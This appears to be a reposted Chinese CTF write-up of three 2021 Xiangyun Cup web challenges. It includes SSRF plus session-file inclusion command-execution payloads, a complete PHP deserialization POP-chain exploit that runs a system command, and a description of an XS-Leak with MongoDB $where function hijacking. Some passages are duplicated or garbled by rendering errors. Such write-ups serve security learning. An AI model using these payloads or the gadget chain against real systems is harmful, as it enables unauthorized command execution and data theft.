IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 2021祥云杯 -> 正文阅读

[PHP知识库]2021祥云杯

安全检测
尝试用admin/admin登录,发现成功登录
输入一个百度的地址,发现跳转到了百度。
于是尝试能不能跳转到本地http://127.0.0.1发现无法跳转
网站很多都有一个admin后台目录,接着尝试能不能跳转到该目录
发现成功跳转
在这里插入图片描述看到include123.php文件,于是接着跳转到该文件下面
发现了一些php代码
在这里插入图片描述发现对get传的参数过滤了很多东西。本地文件包含,远程文件包含命令执行等基本都过滤了。
暑假做题的时候做到了一道类似的题,把这些都过滤了,他用的方法是用session文件包含,因为session是唯一一个没有文件后缀的文件。
因为过滤了很多,于是我用短标签进行命令执行。
http://127.0.0.1/admin/include123.php?u=/tmp/sess_cjm&cjm=<?=`pwd`;?>
记得改变cookie的PHPSESS值为cjm
在这里插入图片描述当我继续执行命令的时候输入空格总是显示网站无法访问,崩溃了,于是我用\t进行绕过空格。
输入ls\t/成功执行命令,得到flag文件为getflag.sh
http://127.0.0.1/admin/include123.php?u=/tmp/sess_cjm&cjm=<?=`ls\t/`;?>
在这里插入图片描述
ezyii
入口函数getCommandLine()
在这里插入图片描述利用 返回值可控的__call 和 字符串连接符 . ,将目标转向__toString,
在这里插入图片描述在这里插入图片描述在这里找到了可利用点,跟进 rewind
在这里插入图片描述下面断点的地方又可以走向其他类中的 rewind 方法
在这里插入图片描述跟进 read 方法
在这里插入图片描述又要跳向其他类的 read 方法
在这里插入图片描述在这里插入图片描述找到可以利用的地方
exp

<?php
namespace Codeception\Extension{
    use Faker\DefaultGenerator;
    use GuzzleHttp\Psr7\AppendStream;
    class  RunProcess{
        protected $output;
        private $processes = [];
        public function __construct(){
            $this->processes[]=new DefaultGenerator(new AppendStream());
            $this->output=new DefaultGenerator('jiang');
        }
    }
    echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{
    class DefaultGenerator
{
    protected $default;

    public function __construct($default = null)
    {
        $this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
    use Faker\DefaultGenerator;
    final class AppendStream{
        private $streams = [];
        private $seekable = true;
        public function __construct(){
            $this->streams[]=new CachingStream();
        }
    }
    final class CachingStream{
        private $remoteStream;
        public function __construct(){
            $this->remoteStream=new DefaultGenerator(false);
            $this->stream=new  PumpStream();
        }
    }
    final class PumpStream{
        private $source;
        private $size=-10;
        private $buffer;
        public function __construct(){
            $this->buffer=new DefaultGenerator('j');
            include("closure/autoload.php");
            $a = function(){system('cat /flag.txt');};
            $a = \Opis\Closure\serialize($a);
            $b = unserialize($a);
            $this->source=$b;
        }
    }
}

Package Manager 2021

buuctf上面有原题,搜索祥云杯。
D盾和seay扫描都被屏蔽了,无法扫描出可疑漏洞,只能代码审计
在pack.pug中发现使用了!{}而不是#{},表示其中内容不会被html转义,可能存在xss漏洞。
在这里插入图片描述看到源码,发现用CSP做了非常严格的保护,基本无法做到xss.但是可以插入进行重定向。
在这里插入图片描述查看init_db.ts。知道flag在admin用户的某个package内容中。我们需要用某种方式获得admin页面的内容。可以考虑xsleak
在这里插入图片描述
利用packages/list/?search的功能,发现虽然可以实现search的功能,但是并不能按照内容正则匹配搜出来
在这里插入图片描述
Package Manager 2021
buuctf上面有原题,搜索祥云杯。
D盾和seay扫描都被屏蔽了,无法扫描出可疑漏洞,只能代码审计
在pack.pug中发现使用了!{}而不是#{},表示其中内容不会被html转义,可能存在xss漏洞。

看到源码,发现用CSP做了非常严格的保护,基本无法做到xss.但是可以插入进行重定向。

查看init_db.ts。知道flag在admin用户的某个package内容中。我们需要用某种方式获得admin页面的内容。可以考虑xsleak

利用packages/list/?search的功能,发现虽然可以实现search的功能,但是并不能按照内容正则匹配搜出来

这里search参数可以是对象。而对于后端mongodb来说,我们是能利用{KaTeX parse error: Expected 'EOF', got '}' at position 13: regex: 'xxx'}?这样的查询进行正则搜索的。故访…regex]=^f就可以进行正则查询desscription了。这样就符合xsleak的思路了。
而具体leak的方法。我们使用object标签。它能在火狐环境下做到,如果object.data访问状态码200,就会触发onload事件。如果访问状态码404,就会触发onerror事件。我们根据这个差异性,就能利用search注出flag内容了。
并不是所有人都能提交url给admin。题目需要通过一个auth的检查
在这里插入图片描述
题目调用hex_md5处理密码与输入比对,我们需要输入admin密码的md5值才能通过校验。但是这是不可能做到的。所以这里需要利用另一个漏洞,污染或者说是劫持mongodb 的hex_md5函数。mongodb 的 w h e r e 查 询 , 本 质 上 就 是 在 执 行 m o n g o d b 的 j s 语 句 。 所 以 我 们 只 要 能 做 where查询,本质上就是在执行mongodb的js语句。所以我们只要能做 wheremongodbjswhere查询,重新定义hex_md5函数。就能将其返回值控制住,让我们通过校验。
最终解题方法:
先注册并登录,插入我们重定向到自己server的内容。并记录下这个package的url后缀,如:http://xxx/packages/39d0d2bb4609b8d8358dab1a99557b64
在这里插入图片描述然后让我们自己通过auth.首先抓包,并用burpsuite不断重放 (此处我把hex_md5返回值控制成202cb962ac59075b964b07152d234b70)
在这里插入图片描述访问/auth提交token。直到显示通过auth就可以不再竞争了。
在自己服务器上用python3 -m http.server 80监听,从而让bot等会访问到我们的index.html
最后复制我们package的最后32位hash 39d0d2bb4609b8d8358dab1a99557b64 提交。此时bot就会访问我们的页面并被重定向到我们自己的页面,进行xsleak。我们多提交几次给bot,更新html中变量flag的内容,就能把全部flag leak出来。
此处VPS_IP需要设置为自己的VPS ip地址。index.html

在这里插入图片描述

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-12-14 15:43:57  更:2021-12-14 15:44:33 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/14 14:50:48-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码